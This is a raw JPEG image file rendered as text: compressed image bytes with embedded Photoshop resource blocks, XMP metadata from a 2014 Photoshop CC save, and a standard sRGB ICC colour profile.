���]���%K�щ�+u6��l�O������g`ڎlqЛ��tg�Y����:�P�s��K�s}O�-/��g���Հ�eX�~���Fc�Z���[�K�vup�lq%�;S==�{�r���5]x�M��0jCE�X�A�������t�f;&������<5��s\}��V��W��V�,?I���h˱��כcce�\�at�_�c�>�dY�4�.�W��+��
�bc8����{��1��Q���ke\U����_�d���;�w�P�l������ZA�Kǹz'���u;���¾H��[@a��[e[��QN��s�7��ն���}����G��U����M3�CYÄxf�(����<C�.7�~����dӋWR�oO����eT�/{����M�e{��k��]�g��u-���Y��zǧ�^�v�����.��֫]�=
o.=P�v9��3Q�)]����[���R�ubK��ɤ���ۺ�$�)���'IoT�ˌ�D�aNe�EE�ga���d���1z��`u�8��_��n����]����vN�c�����K�"���Vm��o��/B����_�n�|�w�Sx��,�=E����x�Q��v���؋�ˏw�kc�SE��I�5x�G�T��X�A��c��j3:?L�����t��Lc&|U�.}Dc�k���H��@G�/5wԼ&����e��N����K7;��\a.���kA
Z�t�˻mT������t?r�X�=��r9iU���Ϻ�������U���8-�w�:�X��։� ��J����H�G܍��z
9=_���1��mN9,u0���ڿMw�Ml��==�g��^�Ne���;1�졬%��w�m�o������5����uy�
="K���4~�נY������}w��D��G�(�-H;�<D����/�8���s���p����X1�[�;\����9}'�b:�=��Ƿp�w����N�`_sN�v>�Z�?R�{�%)�fŋ�?L�B��z��^muu]e���ݬc��}�9�g��5�x�W�����mY�e�����2�)���9p}6�����:�i�0�S^@���[�ƍ�.��E����j�Ю���c�.��ϲ]SX�@�`s�z�{�o�u?��>�O������Ys{\b��d�b��.���:���nΟ���t�
c�eN�S��2]��*�+�s~�}Q����W��1^�#���?�\�_���qi�Ͼ�ߥc.�X	#s7��__�����՗=��~����
�k�k��]�)c��{�����(o�m��������#/��\�X��}v�X���Uv�����W�t����:u]7SV�y�,"-ʿ�������6��	%n��pzM��E���� �em������k]
e{�u��]e�n.�{�zn�L��4
"Y��s�r7�[K�Hu���4m��c�aޣ�A�?�}h��o՜|{��f[�eDX��ݍe���۷oX�y�K�w;�m��ƴ�I�J�-"��1�7nR��gis�ֻ�����^d��c����<���B��o�g��N=N�����ҝ]���1���	��?	
.y�ɟȼ����,m���~x����}�W:�Z3����Ⱦ�5�k��O�m-�S?�F��'���#-$}���
��"7�T�-��#Ho�fYK}��d��bu+�q�pq.'��j���8<�ϫ�/�fׇ�~=ه^��?H
ٹ��10��4rPf�o�,c�O�|������{[c+��,:6�k�o�ߤ�}����!��K�ݐ��sX�����mqm�"��~��k���t�0V���{]�	72���n���8�q�9��F}k)��>���~M��7d�X�YL9�[v�sj��,��s�Q���~-������q{w���c}�*8Y=O��W���Ր�^�$s齿E���K�F�~C��k=w,��5���,o�l�BhUn�)�w��z��\>�fd�ga��[V?Q�3���U���K���]��N��]�\�S齵^,�c�#�>�����}5���[�7I2|��Խ=��e�s���\����s����'9�󓸻�{c�������WQ�z9��v:�_��u���w�z�W^�׋4l� ,L��׏�($��U�乍
y�}ꓲEE�����?5DA�јp�*���l���{�"�A����V.3)wO��n��Z����k�yt˱�{(�d�Uk�c�ѫ�����ηbw�e��>#��u:���N�Eg,;me��ǹ��{���s�P��ݭ��i�+_T�/V�m�~^u�g��ͱ�1� �n>L�n=.w����X�#�(���?c�b}C�Md�0���?ܭ��wCg�[��
�Gs��}.�k�cO�J�����)�\�,���5�cuT�zev>�b�4E���9��m�V	
�n}n���
][�e�f���st)���97%��(é�s�o��5�q��7�9�퓹�6P�v�{Bm�ٲ:��i2uf�����1�S��Y�;����#�]K�.�в~��׺fCN~.��1�!�Z���
vY��k������}_�8�;?-����q�0X�#Kl��ϥ�U~��s�(�x�!�/�{1�;C���(k�~o�Uk3#��S��Ƽ�]��k��J��e���_񩒉<4�	�<FF���΀�z��[������L������a1ߣ}�#G9�����������W@���=��e���խ<Z^ƑV�1��
o�z�1PkJfF�CMX��zu�ƾ�������+��q��W
/.p���g�;20�{���tH�������_Y�?�9k��z�~Myطz��::�
��ӑ
m��c}���N�o�a������V��}��l���e���Y]�k����G#�%�O��n��2�&my�Z��}�=����?�=�j���8�b�b�:sp��cd7}n:���j��bw��J�)8�PK��团'�#T8��d'�l6��
({!ʘn���BJ��e����²�H�l��5�O(����!�{�k� �Q���n�\蘎�5�DI�M	M���}Z�-����c��q�*�צ�/�~E5��j��!��l���ﭗ�V��t�lOL$�<@���N���Ծ���f�X�XwH6<R����D-��[k(��u��W?�vmP�s�^s��Z̼�c?��h�?��T�9ަe����lt4Y^���dռ�2���k[
�Ω��bR�����ѹ��fd���j~���k1�՜$s��_P�#m��-���T���꟎���w���[+�5��ϰ~{��O�f��{O滏�����0��t{x���Ѿ�uVFWGq>��9x�<6��s��_^��	U��r�?��lc�\,��{ٽ������e��,ic�N�M�E�deGE"�yA/����d)l�V����"�bZ�(oAI�H��U��#��R�`q���b�-�C��h���0X�P!p�3��Y����z�uMx�ɐ���ߜ����`��0~p��Oz���m�bC0�,�����.J�M���y������:�S�m��g�����x�:ز��w�+G-��[F�C��W	�G}���f�w�y�D32�jF˜=�i�)�����X冷�u<{Xq2�;�ZxWM%۝V�vsUL��VH�ţ軂�%��ų
�e�M�-+�R��t<,��;�k,�E��Jֻ�M^6�,}g'Kk�iǟ��Vf�����tnܚ��I�;�o@���)���L�H��5O���Yi
�w���F�9�.�9���a�����$�a�3�	)�-Loڪ�D����F���ÅRZ5<��ZZyWk�=�JIJ솝Kg��շv�T�v�)�s"a6ۑY:B  �
ȶ�A�[��Pۛ�Q��Jv�
�3�Uh�
�G(��;�IMN����f�ר#�l��l��Yk:�{�x��k��9ւ���Ѿ�bfqK�X��-��RepB�������O܉�=���"eS�`��Ϧ�>bR�����Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI��
Untitled-1��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM����,����Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?���.����+�h$����7a�<,*���0?U'��r&��}�J^��~c=��O�x��'�/E�)qʤ�<S��B�]<��?�./RY	�!��a'V�G�T����m��؏)��T��6ڢE�Z)9)� �VI��+	���v�[���|��NH
v������>�JŸ���%�a�����v���n-��o�'_��ͬ��T���S��.ÿ�'�hp?�r�#�0]<��1����P����ZX���ib�������)��T�k�cY閼�7���f�8��8d;}��BPk����S�hC�`���k��AN/O����O������=�=��Z�%���q�r�����8s$-W�<$���-�̖�š�����-���� ��Q�E�����̼g�=���5ѡV��n��Sc����R�[ЛhS�1!
SРko�,��$�Bko��o��B�	*�����U�e��02<�0:noSsۅW��K���T���������d�v��~�^��Y-x=�M������T��Tnf�i/}�.��uL���r�U��k���D���g���t6}l�ooS�XW9�6�/Q�o�����3~�b�)�9;n��>2�)�EQ?�5�7L+�����W���[�-1�d`����t�[�^ͷ4|��g��L��k�612(�q��Sf��!�(��nQr�?Zf�9Ē�q�Q+j��_�m��p��^�h/{����C����U��x��k��0��p:==
�}Ks�_{���K�?����l���j���
�q�9�Y�M�W�wQc��q��M��uz���l�Ϥ���<��w��k�K�ﲓ��P]�߾�bS)�����C��Y������-e�ۮ���it}��Y�閜��{kq,}DZ��V7��&�f���Aq��Ϫ�%��`�_
��}�,�VD�]�����3��H�z*��K�f��� .�C|�T5�u���-t��������a6�uy��-6F��|T�T�ci��i:,�~�c2�s�ˆ�4J]â��K~�a��p�ǖu���딿w�vA�D�����_W�ҫ�E��I��}jފ�Eo��@��k���
���]���%K�щ�+u6��l�O������g`ڎlqЛ��tg�Y����:�P�s��K�s}O�-/��g���Հ�eX�~���Fc�Z���[�K�vup�lq%�;S==�{�r���5]x�M��0jCE�X�A�������t�f;&������<5��s\}��V��W��V�,?I���h˱��כcce�\�at�_�c�>�dY�4�.�W��+��
�bc8����{��1��Q���ke\U����_�d���;�w�P�l������ZA�Kǹz'���u;���¾H��[@a��[e[��QN��s�7��ն���}����G��U����M3�CYÄxf�(����<C�.7�~����dӋWR�oO����eT�/{����M�e{��k��]�g��u-���Y��zǧ�^�v�����.��֫]�=
o.=P�v9��3Q�)]����[���R�ubK��ɤ���ۺ�$�)���'IoT�ˌ�D�aNe�EE�ga���d���1z��`u�8��_��n����]����vN�c�����K�"���Vm��o��/B����_�n�|�w�Sx��,�=E����x�Q��v���؋�ˏw�kc�SE��I�5x�G�T��X�A��c��j3:?L�����t��Lc&|U�.}Dc�k���H��@G�/5wԼ&����e��N����K7;��\a.���kA
Z�t�˻mT������t?r�X�=��r9iU���Ϻ�������U���8-�w�:�X��։� ��J����H�G܍��z
9=_���1��mN9,u0���ڿMw�Ml��==�g��^�Ne���;1�졬%��w�m�o������5����uy�
="K���4~�נY������}w��D��G�(�-H;�<D����/�8���s���p����X1�[�;\����9}'�b:�=��Ƿp�w����N�`_sN�v>�Z�?R�{�%)�fŋ�?L�B��z��^muu]e���ݬc��}�9�g��5�x�W�����mY�e�����2�)���9p}6�����:�i�0�S^@���[�ƍ�.��E����j�Ю���c�.��ϲ]SX�@�`s�z�{�o�u?��>�O������Ys{\b��d�b��.���:���nΟ���t�
c�eN�S��2]��*�+�s~�}Q����W��1^�#���?�\�_���qi�Ͼ�ߥc.�X	#s7��__�����՗=��~����
�k�k��]�)c��{�����(o�m��������#/��\�X��}v�X���Uv�����W�t����:u]7SV�y�,"-ʿ�������6��	%n��pzM��E���� �em������k]
e{�u��]e�n.�{�zn�L��4
"Y��s�r7�[K�Hu���4m��c�aޣ�A�?�}h��o՜|{��f[�eDX��ݍe���۷oX�y�K�w;�m��ƴ�I�J�-"��1�7nR��gis�ֻ�����^d��c����<���B��o�g��N=N�����ҝ]���1���	��?	
.y�ɟȼ����,m���~x����}�W:�Z3����Ⱦ�5�k��O�m-�S?�F��'���#-$}���
��"7�T�-��#Ho�fYK}��d��bu+�q�pq.'��j���8<�ϫ�/�fׇ�~=ه^��?H
ٹ��10��4rPf�o�,c�O�|������{[c+��,:6�k�o�ߤ�}����!��K�ݐ��sX�����mqm�"��~��k���t�0V���{]�	72���n���8�q�9��F}k)��>���~M��7d�X�YL9�[v�sj��,��s�Q���~-������q{w���c}�*8Y=O��W���Ր�^�$s齿E���K�F�~C��k=w,��5���,o�l�BhUn�)�w��z��\>�fd�ga��[V?Q�3���U���K���]��N��]�\�S齵^,�c�#�>�����}5���[�7I2|��Խ=��e�s���\����s����'9�󓸻�{c�������WQ�z9��v:�_��u���w�z�W^�׋4l� ,L��׏�($��U�乍
y�}ꓲEE�����?5DA�јp�*���l���{�"�A����V.3)wO��n��Z����k�yt˱�{(�d�Uk�c�ѫ�����ηbw�e��>#��u:���N�Eg,;me��ǹ��{���s�P��ݭ��i�+_T�/V�m�~^u�g��ͱ�1� �n>L�n=.w����X�#�(���?c�b}C�Md�0���?ܭ��wCg�[��
�Gs��}.�k�cO�J�����)�\�,���5�cuT�zev>�b�4E���9��m�V	
�n}n���
][�e�f���st)���97%��(é�s�o��5�q��7�9�퓹�6P�v�{Bm�ٲ:��i2uf�����1�S��Y�;����#�]K�.�в~��׺fCN~.��1�!�Z���
vY��k������}_�8�;?-����q�0X�#Kl��ϥ�U~��s�(�x�!�/�{1�;C���(k�~o�Uk3#��S��Ƽ�]��k��J��e���_񩒉<4�	�<FF���΀�z��[������L������a1ߣ}�#G9�����������W@���=��e���խ<Z^ƑV�1��
o�z�1PkJfF�CMX��zu�ƾ�������+��q��W
/.p���g�;20�{���tH�������_Y�?�9k��z�~Myطz��::�
��ӑ
m��c}���N�o�a������V��}��l���e���Y]�k����G#�%�O��n��2�&my�Z��}�=����?�=�j���8�b�b�:sp��cd7}n:���j��bw��J�)8�PK��团'�#T8��d'�l6��
({!ʘn���BJ��e����²�H�l��5�O(����!�{�k� �Q���n�\蘎�5�DI�M	M���}Z�-����c��q�*�צ�/�~E5��j��!��l���ﭗ�V��t�lOL$�<@���N���Ծ���f�X�XwH6<R����D-��[k(��u��W?�vmP�s�^s��Z̼�c?��h�?��T�9ަe����lt4Y^���dռ�2���k[
�Ω��bR�����ѹ��fd���j~���k1�՜$s��_P�#m��-���T���꟎���w���[+�5��ϰ~{��O�f��{O滏�����0��t{x���Ѿ�uVFWGq>��9x�<6��s��_^��	U��r�?��lc�\,��{ٽ������e��,ic�N�M�E�deGE"�yA/����d)l�V����"�bZ�(oAI�H��U��#��R�`q���b�-�C��h���0X�P!p�3��Y����z�uMx�ɐ���ߜ����`��0~p��Oz���m�bC0�,�����.J�M���y������:�S�m��g�����x�:ز��w�+G-��[F�C��W	�G}���f�w�y�D32�jF˜=�i�)�����X冷�u<{Xq2�;�ZxWM%۝V�vsUL��VH�ţ軂�%��ų
�e�M�-+�R��t<,��;�k,�E��Jֻ�M^6�,}g'Kk�iǟ��Vf�����tnܚ��I�;�o@���)���L�H��5O���Yi
�w���F�9�.�9���a�����$�a�3�	)�-Loڪ�D����F���ÅRZ5<��ZZyWk�=�JIJ솝Kg��շv�T�v�)�s"a6ۑY:B  �
ȶ�A�[��Pۛ�Q��Jv�
�3�Uh�
�G(��;�IMN����f�ר#�l��l��Yk:�{�x��k��9ւ���Ѿ�bfqK�X��-��RepB�������O܉�=���"eS�`��Ϧ�>bR���8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-27T19:34:16-08:00" xmp:MetadataDate="2014-01-27T19:34:16-08:00" xmp:ModifyDate="2014-01-27T19:34:16-08:00" xmpMM:InstanceID="xmp.iid:c6c286ea-dac2-6d4c-a829-afa8dfd86094" xmpMM:DocumentID="xmp.did:1b402fa3-1504-4e4f-9bdf-1863cfab9ac7" xmpMM:OriginalDocumentID="xmp.did:1b402fa3-1504-4e4f-9bdf-1863cfab9ac7" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:1b402fa3-1504-4e4f-9bdf-1863cfab9ac7" stEvt:when="2014-01-27T19:34:16-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:c6c286ea-dac2-6d4c-a829-afa8dfd86094" stEvt:when="2014-01-27T19:34:16-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
����"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�`o�-ޘ����������}��>����a�a\��t��"�T~�6>�si�t��%�G)�m���w��.0�H���a1nj"�Y�7�sz�0��́�|�_ZDeb>�Q� ���N#댣0�aU��T`?Xc�q��H�Yd�oXe�덡X�4�G�\�UĤ*W3G�\kL�8�B؛�o�<q7�WHT�r��$%9���	��bu�����3���ף���o�!ZM�(~��n�ā�M1�я����z����� ~�=�	<���o���Y"�m =#����%�*>���/L�d�Z�茯D`�f�
��^��\sS�)�e��(v�N�a'��8B�x3P�0�doL��]RᤑM��"�Ӓ�����R�0xc}�v��`�[@z+��n#
l���ƛf�#7���}Y�c�Q�*1�vKL��a��P`�vJ�&�I��0�<1�4f�A�VQ�&%ƘW�ւJ޵1/�rö�|1��צ6V�?��,��P�F��(v�A�H�Q9�Ui�ܘ�wp�'��o�-��p\ܤ�)i�$#ϾZ?�g���H�d�@A�ɧ��e�E���~u��.�n�\7��m/P=��"��0��y=��(��u�g�T�u�nd�ork	'���e��f��y�A �t��9�+y�t���˜wf˦VRqV�/�v��u�f
×LVIbH�1�n�{�����G0R��}�{d��.�M���gh�T��B�i����f�*PLv0PT����2�J�x�E�HbM&ͅ���ݦ��P徥$�#�iEcVn��^+�W���V��0(��h��O���^K���l+�S2���BFnC+���b�+��.#F:��U21�b�qU"1��Hʦ���sx��Z�q���^G�kL�܁JR>��IQ�(��-����A��jn�s2f듦�o˯=j�s�z=u'�W�����v���=�˞Oխ�}r����o��ڹ�3�P������_����������A�*�̣�%���c\X:7F>ҁ��lGPs�V�����Q��.���#(4��Do��y#s�P�a�2����
y7��W�w�uk{[p��V��{�����n�Ӷn`�d&�E�mP� ,�'Ń|��5��㑎Y�Ut�sc��q6����<�y�Ͽ�dO�v�b��!�i���)�����A���l3�����-���;0.o@�eqHc?�?��g�U���8���o�q�TЪ����8#m���aշ�璮���״�_�"�Ţg_�L�ʮJ���r�ϞM���kv��D��M�Ba�W6���h�^��uqO�瑈V ���/�S�B�x�4��\�*�W��
(�%lvR��E��d�"��^*?�}�R!'`TF�	mn/p���=�Q��9��t�f�T�T�A�pʶ5ӛFYP��8���'���
��v�2);W	"��U�"�sez��Ɖ��\��TWe��:1;���M֤ca���y�|/�j��v���Ӈη9B���94��l�]A���FIb���#�!��r�YL�"����z�fFaTE���/P���lyX�99>q�OӍ�BQ}�s�&���V��#����b"F���%C�D�@��a��
$���0�L$����[G�n{���4	4�'ˑTXcJ�ASJ�6��ou����In��'�J��uk&W�C+���׵4�I∸����~X���_�m�b�i�98��;v��[>�
S���`�u8м�
:���L�0H��rh>}�~4�� �����	�m0�뤸�[������=�����ꟙ~N�w�[�r.�bR�s6y�Dל�(����?��Q�8��*ѿ;dN1�6�۷/�F�:6���.k�-��OX\��jg��eC�t�G/�IW]�B>Da��S��4_e�nE2;�KNЭo59QDV��Ŏ�D?ʑ��w�<�%���RBG:�I���I?4�k�?KҼ�%�\^�[�nf5-#oM�����S%q��[�J������:��Υxܮo%i�?�9�?����˚ݕ�6*�B��`I�g��.<���m�};�m�[��T�C�?��*�&q&��/2�c�m��t�|��fx��=Lm���U/J�q��)?�}��!r2�]�|'n��Z��ߏ�2���t��°E�
b=0�T�R�!���`�~@~��p���e4\'~c�ņ�˼&*�c�+��dx��-l% �PR���»�S��92*���*�v��\�M�]�J��}�dҊ�A�|��[>̀�):YH��Ey-��g%��9/^ ����ٯ��%_���%w�Mѯ�^m~�d~_�請Iap��?�2'K��6<��B�k�\�I�IN4݉�O�u�8�<�)�}G@ס�C�F��h~�5?�zS���<7���|<��p�tq��
,�yo���_��iT-k���gE���Q�����"��[�#j|r��r5"
��j1os$5�Q��Rrw5՛��(��*	��e�
�{X�H�����jW-!�	l㮍�(^l2{����>�9?up�9��A�}[�Zz�n���s�ZG�JO�˗�ɲ4<��Kk�cq�]��P�>�CІZ�_�YDq�\l��e\69rk:��*����`Y��{QS����/2*>�:����,i��FHK�X�$T�uM�sB��[����� ����l�<2��,sjq����1Z@�W����ƟNz*�ȞF{)-M�#i��H���Z�兺U���_��A
�O�2+�'���ŕ�K�(ɻ��O)���];E��.�.%��T�r��k&�g寒�*�wwW��ŹX!'���n98�,-�=��H��;��+����
ǐ�ӎsX��4�uXe��!�E*�m���?����0z��ÇQȏ@Ѐ#�}L���>C�o�C`iе�24�"G��\�Wf�S��>k�ֻ��k7���Ҵ���#�8�t�̭zk}�Da�_�5
J/ڎ�6��o����s;���wt��xȎ�;_���ed���͊Ao-��Z@+4�F�1�ኽ��_FKk+�1MO^�k^�G���/�*g^Y��I>�ͼ�b���nv��mV�9EEo�l�v����(��;eVI�r��s�Ǫ�M9.ט�$��
>{�[$)�1@1�Ϊ���ӱ�D��.�!N&O���h)�D4Û��#˯l��#��c"�}�X�A�P�e"�.{'��ps�a�S�{Z�$A�>Ҝ�!����I�\3�R7�
����}Zߗ>���o����꧕9a�j�����3����S������k�ao�M�Ԝ��rv m��,�-b�@P�Ơ��6̷B�	%H��}Z�������\�45�i�.b���p�7!{�|�{�(G�B<��׼��}[B�2�S��%��c�����{X�s���>,�˩)�K��i�MIV�s�
�����i�Kp�$**�f��XF�P�N��7U��G���9O?0B?댂�T������r�Դ�'���v���70<�;A!�����!�_�v�K�x��ue:ַn���{��RW�	j�i*h*M78U�j�2���j�L�:���X�д�[�iɸ��R5�~H��r�9D���s��7���̾�]�r�f�[Ҍ���)�?����P��HTj&;�.%y���+�c�}Nh���{-=2կ�˧���$S���U�J|-�~,<�4v�g���ױ�U�77(��@~0���7��\2�7/L�-��mpǏ׊D��~�'ξc�'�.�}�OQ��+
؅~#�c¼�䷚m��}՞����kw��P��=K��l�*چ�uc�ڑ���<�uIl��_�|/��o��^*�迕�F�u���fSg�D��wr-}I[�g�����ߟ���?-<��d���]�KW��w2�b�����o��s�=�DX�4�BGjQQ|*���	�U6B�R�/�kK�Z�%IJ;�5�����w*�_���]�L�s�qtR|��r�{�h�:��$�o^�m��Ӛ�N�0�o���s�A��,d���Ȍ�$l�$a�e!t��yߓ�jR5�	֋�cŬ�R�0\��w*o��� ?�H99!��8�c���31�y;J�[�hj�j�a��`K[��@����2����A3_�yJ���'m��(��<��z,�N0ȧe�ם��e_�k�jGQ�+�^XC}���+:�/��Am�?�U�0��߻vvŎ�*q?MyS��֙�&��mA�-O1)4�nXV�Ѧ��_�O���k��6��_���+%Ez~M%]O|M��c�������j({�$^\�����`	=��"��S��!�\H�m�j`��g��6b+5
Ɖ;x�J=~�TWY�>��Z��/w+�ی1�֤�Q�#�c�e�CP��t��j�񪞇�ᖦ<�� f�g����hhU�A�6ٛ�\�Sj�cRw+O׮���=U��Ɵ�`�UǛ!8q����.�-`�ͯ���q����U�d_\�t�)�E�ys}=Īo�&THH���©�/��&˟̚�����
���PۧN,��%���R���*�ZR�u��5��
7�1�s$��ѕy?̐ʞ��G�=��Ɠ�@�i7�ܭ1���ۃE^k�\����^E*6t;�����kFdn�Еa��--�p��j�3�;����.�>Sry�D��Bzq1F5P�ݗ������Y��^D��|�޵h�7�rS�Æ���
��G�|�y����m4��2r��~�rB���˸��t��r
E�^��$�jV�j+�InbGv�KNo��y�?+��z��M<��i+*���Qp%���n@K�[�8�J�Y�LTo�L�ɭZ�i����	���C!�&�F�Jdx��O�c��l��Q`���a��z*/�c���i�BK�7��d�i�0A�;K�YB;w���Q��4�GLs�;bP�(�/ߘ�79+`#���~q�ΘZ�C	V�o;qd��,�r�^�l	y�aVK�I‘��z��m�LD*_ų�D��������We�Gj}�篈���v�G���	h�x`{/!ۗ�)#�]r����x�S}����e�����O'�G��^z:��zTq��)#�`�򶔛����-�V1�>o��ӷط?�8qg�Fz���;�hv}�W�%,��(�cE<Q��4 \G"�s����r�U�~_N�U�2뇣-�����\P���C�L.4�qP)��ZC����1�������z�	b;�`ߨ�BA��eFFhN�w'�atr"H��ehV�ί�i�&hsO.��D���OU֟�����G��d!�Y�G�Z�+=��r��ܲ'����'6ʯ6���j�ZY�4���N�*j�8�u
W��m��7ˈ~����޹���v��v�Ҵ�0���$��	�q��f��i�e�t�J
F�ל�$���e�[�rŵ�SvW��ZJ��/�T'd�z,��,
�zq�-�@��P�v��O.j��ƃj�z���j��O���v���nW�?F"-�L"P����j�W)�"K`�o���"a*���H���T�8�|ۯ��H�ҵi�X,I� H�q+�������$�E�ЙJI�Ѻ��$e��I�4��!
���h�n$H��6
�:֣�H����*Ċ;$c���"^[��j�hl�#JG��Dj?�$᫣^HӒK^R1�2�K����p�{�`�,L�h�w��%�^�7�#7z��9H�/��G���I4k��R�?d�����&4�����\ vU���"��mֲ `�ֿ�4��9
���<�f�n3��
j����/m����[��F�%7�[j�F�]���޻�
Fm>
����|v���$?w����z*~kj:�����i�Dr�]����:���7Ő
OQ�u۫}@���d�m怎;@�b�/�΅�w�_R���t����
K�VN;��}�e���<r�
��V|�)6Ewރ<	 ;T��v��6=��l�5ډ�c��D�J�q��c�,1V�ʮ0���W�Ћ)G�2ڣt��'��Z֔���	.�Z�1,����8�!����'�х1��:d��LW���) c��a�P�[��Y�MAƕ8�'�'b���z���Ƶ����ѐ��"��r% r�0������1.���#��@�Vb�Or�7�|��O#G�hrB5-"��%�t�2"������c��R��9��t�ԝ�1#��m�8���ŵ��-�rA*�ʆ2
����.�}V&���@L,�%�\�[1
